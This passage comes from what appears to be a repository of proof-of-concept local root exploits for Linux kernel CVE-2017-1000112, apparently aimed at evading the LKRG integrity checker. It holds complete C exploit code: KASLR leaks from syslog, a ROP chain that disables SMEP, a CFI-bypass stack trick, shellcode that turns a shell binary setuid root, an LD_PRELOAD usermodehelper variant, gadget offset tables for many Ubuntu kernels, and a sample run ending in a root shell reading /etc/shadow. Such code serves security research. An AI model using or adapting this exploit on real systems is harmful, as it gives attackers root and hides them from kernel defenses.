sizeof(shellcode)); 175 | schedule_on_each_cpu((long)p); 176 | } 177 | 178 | struct stack_frame { 179 | struct stack_frame *next_frame; 180 | unsigned long return_address; 181 | }; 182 | 183 | #define cfi_bypass_enter(frames, depth) \ 184 | do { \ 185 | struct stack_frame *frame = __builtin_frame_address(0); \ 186 | for (int i = 1; i < (depth); i++) { \ 187 | frames[i] = *frame; \ 188 | frame->return_address = X_printk; \ 189 | frame = frame->next_frame; \ 190 | } \ 191 | } while (0) 192 | 193 | #define cfi_bypass_leave(frames, depth) \ 194 | do { \ 195 | struct stack_frame *frame = __builtin_frame_address(0); \ 196 | for (int i = 1; i < (depth); i++) { \ 197 | *frame = frames[i]; \ 198 | frame = frame->next_frame; \ 199 | } \ 200 | } while (0) 201 | 202 | void get_root() 203 | { 204 | struct stack_frame frames[ 8 ]; 205 | cfi_bypass_enter(frames, sizeof(frames) / sizeof(frames[0])); 206 | get_root_real(); 207 | cfi_bypass_leave(frames, sizeof(frames) / sizeof(frames[0])); 208 | } 209 | 210 | // * * * * * * * * * * * * * * * * SMEP bypass * * * * * * * * * * * * * * * * 211 | 212 | uint64_t saved_esp; 213 | 214 | // Unfortunately GCC does not support `__atribute__((naked))` on x86, which 215 | // can be used to omit a function's prologue, so I had to use this weird 216 | // wrapper hack as a workaround. Note: Clang does support it, which means it 217 | // has better support of GCC attributes than GCC itself. Funny. 218 | void wrapper() { 219 | asm volatile (" \n\ 220 | payload: \n\ 221 | movq %%rbp, %%rax \n\ 222 | movq $0xffffffff00000000, %%rdx \n\ 223 | andq %%rdx, %%rax \n\ 224 | movq %0, %%rdx \n\ 225 | addq %%rdx, %%rax \n\ 226 | movq %%rax, %%rsp \n\ 227 | call get_root \n\ 228 | ret \n\ 229 | " : : "m"(saved_esp) : ); 230 | } 231 | 232 | void payload(); 233 | 234 | #define CHAIN_SAVE_ESP \ 235 | *stack++ = POP_RDI_RET; \ 236 | *stack++ = (uint64_t)&saved_esp; \ 237 | *stack++ = MOV_DWORD_PTR_RDI_EAX_RET; 238 | 239 | #define SMEP_MASK 0x100000 240 | 241 | #define CHAIN_DISABLE_SMEP \ 242 | *stack++ = MOV_RAX_CR4_RET; \ 243 | *stack++ = NEG_RAX_RET; \ 244 | *stack++ = POP_RCX_RET; \ 245 | *stack++ = SMEP_MASK; \ 246 | *stack++ = OR_RAX_RCX_RET; \ 247 | *stack++ = NEG_RAX_RET; \ 248 | *stack++ = XCHG_EAX_EDI_RET; \ 249 | *stack++ = MOV_CR4_RDI_RET; 250 | 251 | #define CHAIN_JMP_PAYLOAD \ 252 | *stack++ = POP_RCX_RET; \ 253 | *stack++ = (uint64_t)&payload; \ 254 | *stack++ = JMP_RCX; 255 | 256 | void mmap_stack() { 257 | uint64_t stack_aligned, stack_addr; 258 | int page_size, stack_size, stack_offset; 259 | uint64_t* stack; 260 | 261 | page_size = getpagesize(); 262 | 263 | stack_aligned = (XCHG_EAX_ESP_RET & 0x00000000fffffffful) & ~(page_size - 1); 264 | stack_addr = stack_aligned - page_size * 4; 265 | stack_size = page_size * 8; 266 | stack_offset = XCHG_EAX_ESP_RET % page_size; 267 | 268 | stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, 269 | MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 270 | if (stack == MAP_FAILED || stack != (void*)stack_addr) { 271 | perror("[-] mmap()"); 272 | exit(EXIT_FAILURE); 273 | } 274 | 275 | stack = (uint64_t*)((char*)stack_aligned + stack_offset); 276 | 277 | CHAIN_SAVE_ESP; 278 | CHAIN_DISABLE_SMEP; 279 | CHAIN_JMP_PAYLOAD; 280 | } 281 | 282 | // * * * * * * * * * * * * * * syslog KASLR bypass * * * * * * * * * * * * * * 283 | 284 | #define SYSLOG_ACTION_READ_ALL 3 285 | #define SYSLOG_ACTION_SIZE_BUFFER 10 286 | 287 | void mmap_syslog(char** buffer, int* size) { 288 | *size = klogctl(SYSLOG_ACTION_SIZE_BUFFER, 0, 0); 289 | if (*size == -1) { 290 | perror("[-] klogctl(SYSLOG_ACTION_SIZE_BUFFER)"); 291 | exit(EXIT_FAILURE); 292 | } 293 | 294 | *size = (*size / getpagesize() + 1) * getpagesize(); 295 | *buffer = (char*)mmap(NULL, *size, PROT_READ | PROT_WRITE, 296 | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); 297 | 298 | *size = klogctl(SYSLOG_ACTION_READ_ALL, &((*buffer)[0]), *size); 299 | if (*size == -1) { 300 | perror("[-] klogctl(SYSLOG_ACTION_READ_ALL)"); 301 | exit(EXIT_FAILURE); 302 | } 303 | } 304 | 305 | unsigned long get_kernel_addr_trusty(char* buffer, int size) { 306 | const char* needle1 = "Freeing unused"; 307 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 308 | if (substr == NULL) { 309 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 310 | exit(EXIT_FAILURE); 311 | } 312 | 313 | int start = 0; 314 | int end = 0; 315 | for (end = start; substr[end] != '-'; end++); 316 | 317 | const char* needle2 = "ffffff"; 318 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 319 | if (substr == NULL) { 320 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 321 | exit(EXIT_FAILURE); 322 | } 323 | 324 | char* endptr = &substr[16]; 325 | unsigned long r = strtoul(&substr[0], &endptr, 16); 326 | 327 | r &= 0xffffffffff000000ul; 328 | 329 | return r; 330 | } 331 | 332 | unsigned long get_kernel_addr_xenial(char* buffer, int size) { 333 | const char* needle1 = "Freeing unused"; 334 | char* substr = (char*)memmem(&buffer[0], size, needle1, strlen(needle1)); 335 | if (substr == NULL) { 336 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle1); 337 | exit(EXIT_FAILURE); 338 | } 339 | 340 | int start = 0; 341 | int end = 0; 342 | for (start = 0; substr[start] != '-'; start++); 343 | for (end = start; substr[end] != '\n'; end++); 344 | 345 | const char* needle2 = "ffffff"; 346 | substr = (char*)memmem(&substr[start], end - start, needle2, strlen(needle2)); 347 | if (substr == NULL) { 348 | fprintf(stderr, "[-] substring '%s' not found in syslog\n", needle2); 349 | exit(EXIT_FAILURE); 350 | } 351 | 352 | char* endptr = &substr[16]; 353 | unsigned long r = strtoul(&substr[0], &endptr, 16); 354 | 355 | r &= 0xfffffffffff00000ul; 356 | r -= 0x1000000ul; 357 | 358 | return r; 359 | } 360 | 361 | unsigned long get_kernel_addr() { 362 | char* syslog; 363 | int size; 364 | mmap_syslog(&syslog, &size); 365 | 366 | if (strcmp("trusty", kernels[kernel].distro) == 0 && 367 | strncmp("4.4.0", kernels[kernel].version, 5) == 0) 368 | return get_kernel_addr_trusty(syslog, size); 369 | if (strcmp("xenial", kernels[kernel].distro) == 0 && 370 | strncmp("4.8.0", kernels[kernel].version, 5) == 0) 371 | return get_kernel_addr_xenial(syslog, size); 372 | 373 | printf("[-] KASLR bypass only tested on trusty 4.4.0-* and xenial 4-8-0-*"); 374 | exit(EXIT_FAILURE); 375 | } 376 | 377 | // * * * * * * * * * * * * * * Kernel structs * * * * * * * * * * * * * * * * 378 | 379 | struct ubuf_info { 380 | uint64_t callback; // void (*callback)(struct ubuf_info *, bool) 381 | uint64_t ctx; // void * 382 | uint64_t desc; // unsigned long 383 | }; 384 | 385 | struct skb_shared_info { 386 | uint8_t nr_frags; // unsigned char 387 | uint8_t tx_flags; // __u8 388 | uint16_t gso_size; // unsigned short 389 | uint16_t gso_segs; // unsigned short 390 | uint16_t gso_type; // unsigned short 391 | uint64_t frag_list; // struct sk_buff * 392 | uint64_t hwtstamps; // struct skb_shared_hwtstamps 393 | uint32_t tskey; // u32 394 | uint32_t ip6_frag_id; // __be32 395 | uint32_t dataref; // atomic_t 396 | uint64_t destructor_arg; // void * 397 | uint8_t frags[16][17]; // skb_frag_t frags[MAX_SKB_FRAGS]; 398 | }; 399 | 400 | struct ubuf_info ui; 401 | 402 | void init_skb_buffer(char* buffer, unsigned long func) { 403 | struct skb_shared_info* ssi = (struct skb_shared_info*)buffer; 404 | memset(ssi, 0, sizeof(*ssi)); 405 | 406 | ssi->tx_flags = 0xff; 407 | ssi->destructor_arg = (uint64_t)&ui; 408 | ssi->nr_frags = 0; 409 | ssi->frag_list = 0; 410 | 411 | ui.callback = func; 412 | } 413 | 414 | // * * * * * * * * * * * * * * * Trigger * * * * * * * * * * * * * * * * * * 415 | 416 | #define SHINFO_OFFSET 3164 417 | 418 | void oob_execute(unsigned long payload) { 419 | char buffer[4096]; 420 | memset(&buffer[0], 0x42, 4096); 421 | init_skb_buffer(&buffer[SHINFO_OFFSET], payload); 422 | 423 | int s = socket(PF_INET, SOCK_DGRAM, 0); 424 | if (s == -1) { 425 | perror("[-] socket()"); 426 | exit(EXIT_FAILURE); 427 | } 428 | 429 | struct sockaddr_in addr; 430 | memset(&addr, 0, sizeof(addr)); 431 | addr.sin_family = AF_INET; 432 | addr.sin_port = htons(8000); 433 | addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK); 434 | 435 | if (connect(s, (void*)&addr, sizeof(addr))) { 436 | perror("[-] connect()"); 437 | exit(EXIT_FAILURE); 438 | } 439 | 440 | int size = SHINFO_OFFSET + sizeof(struct skb_shared_info); 441 | int rv = send(s, buffer, size, MSG_MORE); 442 | if (rv != size) { 443 | perror("[-] send()"); 444 | exit(EXIT_FAILURE); 445 | } 446 | 447 | int val = 1; 448 | rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val)); 449 | if (rv != 0) { 450 | perror("[-] setsockopt(SO_NO_CHECK)"); 451 | exit(EXIT_FAILURE); 452 | } 453 | 454 | send(s, buffer, 1, 0); 455 | 456 | close(s); 457 | } 458 | 459 | // * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * 460 | 461 | #define CHUNK_SIZE 1024 462 | 463 | int read_file(const char* file, char* buffer, int max_length) { 464 | int f = open(file, O_RDONLY); 465 | if (f == -1) 466 | return -1; 467 | int bytes_read = 0; 468 | while (true) { 469 | int bytes_to_read = CHUNK_SIZE; 470 | if (bytes_to_read > max_length - bytes_read) 471 | bytes_to_read = max_length - bytes_read; 472 | int rv = read(f, &buffer[bytes_read], bytes_to_read); 473 | if (rv == -1) 474 | return -1; 475 | bytes_read += rv; 476 | if (rv == 0) 477 | return bytes_read; 478 | } 479 | } 480 | 481 | #define LSB_RELEASE_LENGTH 1024 482 | 483 | void get_distro_codename(char* output, int max_length) { 484 | char buffer[LSB_RELEASE_LENGTH]; 485 | int length = read_file("/etc/lsb-release", &buffer[0], LSB_RELEASE_LENGTH); 486 | if (length == -1) { 487 | perror("[-] open/read(/etc/lsb-release)"); 488 | exit(EXIT_FAILURE); 489 | } 490 | const char *needle = "DISTRIB_CODENAME="; 491 | int needle_length = strlen(needle); 492 | char* found = memmem(&buffer[0], length, needle, needle_length); 493 | if (found == NULL) { 494 | printf("[-] couldn't find DISTRIB_CODENAME in /etc/lsb-release\n"); 495 | exit(EXIT_FAILURE); 496 | } 497 | int i; 498 | for (i = 0; found[needle_length + i] != '\n'; i++) { 499 | assert(i < max_length); 500 | assert((found - &buffer[0]) + needle_length + i < length); 501 | output[i] = found[needle_length + i]; 502 | } 503 | } 504 | 505 | void get_kernel_version(char* output, int max_length) { 506 | struct utsname u; 507 | int rv = uname(&u); 508 | if (rv != 0) { 509 | perror("[-] uname())"); 510 | exit(EXIT_FAILURE); 511 | } 512 | assert(strlen(u.release) <= max_length); 513 | strcpy(&output[0], u.release); 514 | } 515 | 516 | #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) 517 | 518 | #define DISTRO_CODENAME_LENGTH 32 519 | #define KERNEL_VERSION_LENGTH 32 520 | 521 | void detect_versions() { 522 | char codename[DISTRO_CODENAME_LENGTH]; 523 | char version[KERNEL_VERSION_LENGTH]; 524 | 525 | get_distro_codename(&codename[0], DISTRO_CODENAME_LENGTH); 526 | get_kernel_version(&version[0], KERNEL_VERSION_LENGTH); 527 | 528 | int i; 529 | for (i = 0; i < ARRAY_SIZE(kernels); i++) { 530 | if (strcmp(&codename[0], kernels[i].distro) == 0 && 531 | strcmp(&version[0], kernels[i].version) == 0) { 532 | printf("[.] kernel version '%s' detected\n", kernels[i].version); 533 | kernel = i; 534 | return; 535 | } 536 | } 537 | 538 | printf("[-] kernel version not recognized\n"); 539 | exit(EXIT_FAILURE); 540 | } 541 | 542 | #define PROC_CPUINFO_LENGTH 4096 543 | 544 | // 0 - nothing, 1 - SMEP, 2 - SMAP, 3 - SMEP & SMAP 545 | int smap_smep_enabled() { 546 | char buffer[PROC_CPUINFO_LENGTH]; 547 | int length = read_file("/proc/cpuinfo", &buffer[0], PROC_CPUINFO_LENGTH); 548 | if (length == -1) { 549 | perror("[-] open/read(/proc/cpuinfo)"); 550 | exit(EXIT_FAILURE); 551 | } 552 | int rv = 0; 553 | char* found = memmem(&buffer[0], length, "smep", 4); 554 | if (found != NULL) 555 | rv += 1; 556 | found = memmem(&buffer[0], length, "smap", 4); 557 | if (found != NULL) 558 | rv += 2; 559 | return rv; 560 | } 561 | 562 | void check_smep_smap() { 563 | int rv = smap_smep_enabled(); 564 | if (rv >= 2) { 565 | printf("[-] SMAP detected, no bypass available\n"); 566 | exit(EXIT_FAILURE); 567 | } 568 | #if !ENABLE_SMEP_BYPASS 569 | if (rv >= 1) { 570 | printf("[-] SMEP detected, use ENABLE_SMEP_BYPASS\n"); 571 | exit(EXIT_FAILURE); 572 | } 573 | #endif 574 | } 575 | 576 | // * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * * * 577 | 578 | static bool write_file(const char* file, const char* what, ...) { 579 | char buf[1024]; 580 | va_list args; 581 | va_start(args, what); 582 | vsnprintf(buf, sizeof(buf), what, args); 583 | va_end(args); 584 | buf[sizeof(buf) - 1] = 0; 585 | int len = strlen(buf); 586 | 587 | int fd = open(file, O_WRONLY | O_CLOEXEC); 588 | if (fd == -1) 589 | return false; 590 | if (write(fd, buf, len) != len) { 591 | close(fd); 592 | return false; 593 | } 594 | close(fd); 595 | return true; 596 | } 597 | 598 | void setup_sandbox() { 599 | int real_uid = getuid(); 600 | int real_gid = getgid(); 601 | 602 | if (unshare(CLONE_NEWUSER) != 0) { 603 | printf("[!] unprivileged user namespaces are not available\n"); 604 | perror("[-] unshare(CLONE_NEWUSER)"); 605 | exit(EXIT_FAILURE); 606 | } 607 | if (unshare(CLONE_NEWNET) != 0) { 608 | perror("[-] unshare(CLONE_NEWUSER)"); 609 | exit(EXIT_FAILURE); 610 | } 611 | 612 | if (!write_file("/proc/self/setgroups", "deny")) { 613 | perror("[-] write_file(/proc/self/set_groups)"); 614 | exit(EXIT_FAILURE); 615 | } 616 | if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) { 617 | perror("[-] write_file(/proc/self/uid_map)"); 618 | exit(EXIT_FAILURE); 619 | } 620 | if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) { 621 | perror("[-] write_file(/proc/self/gid_map)"); 622 | exit(EXIT_FAILURE); 623 | } 624 | 625 | cpu_set_t my_set; 626 | CPU_ZERO(&my_set); 627 | CPU_SET(0, &my_set); 628 | if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) { 629 | perror("[-] sched_setaffinity()"); 630 | exit(EXIT_FAILURE); 631 | } 632 | 633 | if (system("/sbin/ifconfig lo mtu 1500") != 0) { 634 | perror("[-] system(/sbin/ifconfig lo mtu 1500)"); 635 | exit(EXIT_FAILURE); 636 | } 637 | if (system("/sbin/ifconfig lo up") != 0) { 638 | perror("[-] system(/sbin/ifconfig lo up)"); 639 | exit(EXIT_FAILURE); 640 | } 641 | } 642 | 643 | void exec_shell() { 644 | char* shell = "/bin/bash"; 645 | char* args[] = {shell, "-i", NULL}; 646 | execve(shell, args, NULL); 647 | } 648 | 649 | bool is_root() { 650 | // We can't simple check uid, since we're running inside a namespace 651 | // with uid set to 0. Try opening /etc/shadow instead. 652 | int fd = open("/etc/shadow", O_RDONLY); 653 | if (fd == -1) 654 | return false; 655 | close(fd); 656 | return true; 657 | } 658 | 659 | void check_root() { 660 | printf("[.] checking if we got root\n"); 661 | if (!is_root()) { 662 | printf("[-] something went wrong =(\n"); 663 | return; 664 | } 665 | printf("[+] got r00t ^_^\n"); 666 | exec_shell(); 667 | } 668 | 669 | int main(int argc, char** argv) { 670 | printf("[.] starting\n"); 671 | 672 | printf("[.] checking distro and kernel versions\n"); 673 | detect_versions(); 674 | printf("[~] done, versions looks good\n"); 675 | 676 | printf("[.] checking SMEP and SMAP\n"); 677 | check_smep_smap(); 678 | printf("[~] done, looks good\n"); 679 | 680 | if (!fork()) { 681 | sleep(2), execl(SHELL, "shell", NULL); 682 | } 683 | 684 | printf("[.] setting up namespace sandbox\n"); 685 | setup_sandbox(); 686 | printf("[~] done, namespace sandbox set up\n"); 687 | 688 | #if ENABLE_KASLR_BYPASS 689 | printf("[.] KASLR bypass enabled, getting kernel addr\n"); 690 | KERNEL_BASE = get_kernel_addr(); 691 | printf("[~] done, kernel text: %lx\n", KERNEL_BASE); 692 | #endif 693 | 694 | printf("[.] commit_creds: %lx\n", COMMIT_CREDS); 695 | printf("[.] prepare_kernel_cred: %lx\n", PREPARE_KERNEL_CRED); 696 | 697 | unsigned long payload = (unsigned long)&get_root; 698 | 699 | #if ENABLE_SMEP_BYPASS 700 | printf("[.] SMEP bypass enabled, mmapping fake stack\n"); 701 | mmap_stack(); 702 | payload = XCHG_EAX_ESP_RET; 703 | printf("[~] done, fake stack mmapped\n"); 704 | #endif 705 | 706 | printf("[.] executing payload %lx\n", payload); 707 | oob_execute(payload); 708 | printf("[~] done, should be root now\n"); 709 | 710 | wait(NULL); 711 | 712 | return 0; 713 | } 714 | -------------------------------------------------------------------------------- /004-cfi_bypass/shellcode.c: -------------------------------------------------------------------------------- 1 | #include "poc.h" 2 | 3 | #define AT_FDCWD -100 4 | 5 | struct path { 6 | void *mnt; 7 | void *dentry; 8 | }; 9 | 10 | void _start(void) { 11 | int (*user_path_at_empty)(int, const char *, unsigned, struct path *, int *) = (void *)X_user_path_at_empty; 12 | int (*path_put)(void *) = (void *)X_path_put; 13 | 14 | struct path path = { 0 }; 15 | if (!user_path_at_empty(AT_FDCWD, (char []){ SHELL }, 0, &path, (void *)0UL)) { 16 | void *inode = (void *)(*(unsigned long *)(path.dentry + 48)); // dentry->d_inode 17 | *(unsigned short *)(inode + 0) = 0104755; // inode->i_mode 18 | *(unsigned int *)(inode + 4) = 0; // inode->i_uid 19 | *(unsigned int *)(inode + 8) = 0; // inode->i_gid 20 | path_put(&path); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /005-call_usermodehelper_ld_preload/.gitignore: -------------------------------------------------------------------------------- 1 | poc 2 | poc.h 3 | shell 4 | shell_preload.so 5 | shellcode 6 | shellcode.inc 7 | -------------------------------------------------------------------------------- /005-call_usermodehelper_ld_preload/Makefile: -------------------------------------------------------------------------------- 1 | SYMLIST = module_alloc|schedule_on_each_cpu|call_usermodehelper|printk 2 | 3 | KERNEL_CFLAGS = \ 4 | -static -nostartfiles -nodefaultlibs -nostdlib \ 5 | -mno-80387 -mno-fp-ret-in-387 -mno-mmx -mno-sse -mno-sse2 -mno-3dnow -mno-avx \ 6 | -mpreferred-stack-boundary=4 -mno-red-zone \ 7 | -fomit-frame-pointer -fno-stack-protector 8 | 9 | .PHONY: all 10 | all: poc.c ../shell/shell.c 11 | sudo grep -w -E '($(SYMLIST))' /proc/kallsyms | awk '{printf("#define X_%s 0x%s\n", $$3, $$1)}' >poc.h 12 | echo "#define SHELL \"$(CURDIR)/shell\"" >>poc.h 13 | echo "#define LD_PRELOAD_SHELL \"LD_PRELOAD=$(CURDIR)/shell_preload.so\"" >>poc.h 14 | gcc ../shell/shell_preload.c -o shell_preload.so -I$(CURDIR) -shared -fPIC 15 | gcc ../shell/shell.c -o shell 16 | gcc $(KERNEL_CFLAGS) shellcode.c -o shellcode 17 | objcopy --dump-section .text=/dev/stdout shellcode | xxd -i >shellcode.inc 18 | gcc poc.c -o poc 19 | 20 | .PHONY: clean 21 | clean: 22 | rm -f shell shell_preload.so shellcode shellcode.inc poc poc.h 23 | -------------------------------------------------------------------------------- /005-call_usermodehelper_ld_preload/README.md: -------------------------------------------------------------------------------- 1 | call_usermodehelper (ld_preload) 2 | ================================ 3 | 4 | There is a whitelist of allowed usermodehelpers since LKRG 6.0 (https://www.openwall.com/lists/lkrg-users/2019/02/19/1). Calling a binary which is not in the list will trigger the alarm. 5 | 6 | The idea of using `call_usermodehelper()` function (UMH) along with LD_PRELOAD is the following: 7 | 1) Create a shell binary 8 | 2) Create a shared object library which being preloaded to superuser process will change shell's file properties so it will be owned by root:root with SUID bit set 9 | 2) Exploit the vulnerability, schedule the "shellcode" with `schedule_on_each_cpu()` and use UMH with whitelisted binary and LD_PRELOAD set 10 | 11 | Here is the modified `shellcode()` function which will do the privelege escalation: 12 | 13 | ~~~ 14 | void shellcode(void) { 15 | int (*call_usermodehelper)(const char *, void *, void *, int) = (void *)X_call_usermodehelper; 16 | char *argv[] = { (char []){ "/sbin/modprobe" }, 0 }; 17 | char *envp[] = { (char []){ LD_PRELOAD_SHELL }, 0 }; 18 | call_usermodehelper(argv[0], argv, envp, 1); 19 | } 20 | ~~~ 21 | -------------------------------------------------------------------------------- /005-call_usermodehelper_ld_preload/poc.c: -------------------------------------------------------------------------------- 1 | // A proof-of-concept local root exploit for CVE-2017-1000112. 2 | // Includes KASLR and SMEP bypasses. No SMAP bypass. 3 | // Tested on Ubuntu trusty 4.4.0-* and Ubuntu xenial 4-8-0-* kernels. 4 | // 5 | // Usage: 6 | // user@ubuntu:~$ uname -a 7 | // Linux ubuntu 4.8.0-58-generic #63~16.04.1-Ubuntu SMP Mon Jun 26 18:08:51 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux 8 | // user@ubuntu:~$ whoami 9 | // user 10 | // user@ubuntu:~$ id 11 | // uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) 12 | // user@ubuntu:~$ gcc pwn.c -o pwn 13 | // user@ubuntu:~$ ./pwn 14 | // [.] starting 15 | // [.] checking distro and kernel versions 16 | // [.] kernel version '4.8.0-58-generic' detected 17 | // [~] done, versions looks good 18 | // [.] checking SMEP and SMAP 19 | // [~] done, looks good 20 | // [.] setting up namespace sandbox 21 | // [~] done, namespace sandbox set up 22 | // [.] KASLR bypass enabled, getting kernel addr 23 | // [~] done, kernel text: ffffffffae400000 24 | // [.] commit_creds: ffffffffae4a5d20 25 | // [.] prepare_kernel_cred: ffffffffae4a6110 26 | // [.] SMEP bypass enabled, mmapping fake stack 27 | // [~] done, fake stack mmapped 28 | // [.] executing payload ffffffffae40008d 29 | // [~] done, should be root now 30 | // [.] checking if we got root 31 | // [+] got r00t ^_^ 32 | // root@ubuntu:/home/user# whoami 33 | // root 34 | // root@ubuntu:/home/user# id 35 | // uid=0(root) gid=0(root) groups=0(root) 36 | // root@ubuntu:/home/user# cat /etc/shadow 37 | // root:!:17246:0:99999:7::: 38 | // daemon:*:17212:0:99999:7::: 39 | // bin:*:17212:0:99999:7::: 40 | // sys:*:17212:0:99999:7::: 41 | // ... 42 | // 43 | // Andrey Konovalov 44 | 45 | #define _GNU_SOURCE 46 | 47 | #include 48 | #include 49 | #include 50 | #include 51 | #include 52 | #include 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | 66 | #include "poc.h" 67 | 68 | #define ENABLE_KASLR_BYPASS 1 69 | #define ENABLE_SMEP_BYPASS 1 70 | 71 | // Will be overwritten if ENABLE_KASLR_BYPASS is enabled. 72 | unsigned long KERNEL_BASE = 0xffffffff81000000ul; 73 | 74 | // Will be overwritten by detect_versions(). 75 | int kernel = -1; 76 | 77 | struct kernel_info { 78 | const char* distro; 79 | const char* version; 80 | uint64_t commit_creds; 81 | uint64_t prepare_kernel_cred; 82 | uint64_t xchg_eax_esp_ret; 83 | uint64_t pop_rdi_ret; 84 | uint64_t mov_dword_ptr_rdi_eax_ret; 85 | uint64_t mov_rax_cr4_ret; 86 | uint64_t neg_rax_ret; 87 | uint64_t pop_rcx_ret; 88 | uint64_t or_rax_rcx_ret; 89 | uint64_t xchg_eax_edi_ret; 90 | uint64_t mov_cr4_rdi_ret; 91 | uint64_t jmp_rcx; 92 | }; 93 | 94 | struct kernel_info kernels[] = { 95 | { "trusty", "4.4.0-21-generic", 0x9d7a0, 0x9da80, 0x4520a, 0x30f75, 0x109957, 0x1a7a0, 0x3d6b7a, 0x1cbfc, 0x76453, 0x49d4d, 0x61300, 0x1b91d }, 96 | { "trusty", "4.4.0-22-generic", 0x9d7e0, 0x9dac0, 0x4521a, 0x28c19d, 0x1099b7, 0x1a7f0, 0x3d781a, 0x1cc4c, 0x764b3, 0x49d5d, 0x61300, 0x48040 }, 97 | { "trusty", "4.4.0-24-generic", 0x9d5f0, 0x9d8d0, 0x4516a, 0x1026cd, 0x107757, 0x1a810, 0x3d7a9a, 0x1cc6c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 98 | { "trusty", "4.4.0-28-generic", 0x9d760, 0x9da40, 0x4516a, 0x3dc58f, 0x1079a7, 0x1a830, 0x3d801a, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 99 | { "trusty", "4.4.0-31-generic", 0x9d760, 0x9da40, 0x4516a, 0x3e223f, 0x1079a7, 0x1a830, 0x3ddcca, 0x1cc8c, 0x763b3, 0x49cbd, 0x612f0, 0x47fa0 }, 100 | { "trusty", "4.4.0-34-generic", 0x9d760, 0x9da40, 0x4510a, 0x355689, 0x1079a7, 0x1a830, 0x3ddd1a, 0x1cc8c, 0x763b3, 0x49c5d, 0x612f0, 0x47f40 }, 101 | { "trusty", "4.4.0-36-generic", 0x9d770, 0x9da50, 0x4510a, 0x1eec9d, 0x107a47, 0x1a830, 0x3de02a, 0x1cc8c, 0x763c3, 0x29595, 0x61300, 0x47f40 }, 102 | { "trusty", "4.4.0-38-generic", 0x9d820, 0x9db00, 0x4510a, 0x598fd, 0x107af7, 0x1a820, 0x3de8ca, 0x1cc7c, 0x76473, 0x49c5d, 0x61300, 0x1a77b }, 103 | { "trusty", "4.4.0-42-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3deb7a, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 104 | { "trusty", "4.4.0-45-generic", 0x9d870, 0x9db50, 0x4510a, 0x5f13d, 0x107b17, 0x1a820, 0x3debda, 0x1cc7c, 0x76463, 0x49c5d, 0x61300, 0x1a77b }, 105 | { "trusty", "4.4.0-47-generic", 0x9d940, 0x9dc20, 0x4511a, 0x171f8d, 0x107bd7, 0x1a820, 0x3e241a, 0x1cc7c, 0x76463, 0x299f5, 0x61300, 0x1a77b }, 106 | { "trusty", "4.4.0-51-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 107 | { "trusty", "4.4.0-53-generic", 0x9d920, 0x9dc00, 0x4511a, 0x21f15c, 0x107c77, 0x1a820, 0x3e280a, 0x1cc7c, 0x76463, 0x49c6d, 0x61300, 0x1a77b }, 108 | { "trusty", "4.4.0-57-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x39401d, 0x1097d7, 0x1a820, 0x3e527a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 109 | { "trusty", "4.4.0-59-generic", 0x9ebb0, 0x9ee90, 0x4518a, 0x2dbc4e, 0x1097d7, 0x1a820, 0x3e571a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 110 | { "trusty", "4.4.0-62-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x3ea46f, 0x109837, 0x1a820, 0x3e5e5a, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 111 | { "trusty", "4.4.0-63-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 112 | { "trusty", "4.4.0-64-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 113 | { "trusty", "4.4.0-66-generic", 0x9ebe0, 0x9eec0, 0x4518a, 0x2e2e7d, 0x109847, 0x1a820, 0x3e61ba, 0x1cc7c, 0x77493, 0x49cdd, 0x62300, 0x1a77b }, 114 | { "trusty", "4.4.0-67-generic", 0x9eb60, 0x9ee40, 0x4518a, 0x12a9dc, 0x109887, 0x1a820, 0x3e67ba, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 115 | { "trusty", "4.4.0-70-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 116 | { "trusty", "4.4.0-71-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 0x3e63ca, 0x1cc7c, 0x774c3, 0x49cdd, 0x62330, 0x1a77b }, 117 | { "trusty", "4.4.0-72-generic", 0x9eb60, 0x9ee40, 0x4518a, 0xd61a2, 0x109887, 0x1a820, 